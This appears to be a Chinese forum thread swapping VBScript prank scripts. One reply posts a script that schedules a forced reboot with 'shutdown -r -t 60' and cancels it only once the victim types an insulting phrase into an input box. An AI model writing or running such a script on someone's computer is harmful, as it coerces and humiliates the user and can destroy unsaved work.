啊哈,vbs!
While True
msgbox "子曰:打架用砖乎",48,"```"
wscript.sleep 1000
msgbox "不宜乱乎······",48,"```"
wscript.sleep 1000
msgbox "照头乎!!",48,"```"
wscript.sleep 1000
msgbox "乎不死再乎----",48,"```"
wscript.sleep 1000
Wend
路过。你插个U盘干什么,说不定U盘也得废
建议加个循环
我的吗呀!那你咋发的消息?手机编程豆?
dim WSHshellA set WSHshellA = wscript.createobject("wscript.shell") WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是傻狗,不说就一分钟关你机,不信?那等着嗷"" ",0 ,true dim a do while(a <> "我是傻狗") a = inputbox ("说我是傻狗,就不关机,快点,说 ""我是傻狗"" ","说不说","不说",8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox" loop msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛" dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "cmd.exe /c shutdown -a",0 ,true msgbox chr(13) + chr(13) + chr(13) + "哈哈哈
vbs格式加ANSI代码祝你玩的愉快
忘说了,都是格式
……
已有账号? 立即登录
在我的电脑上真实发生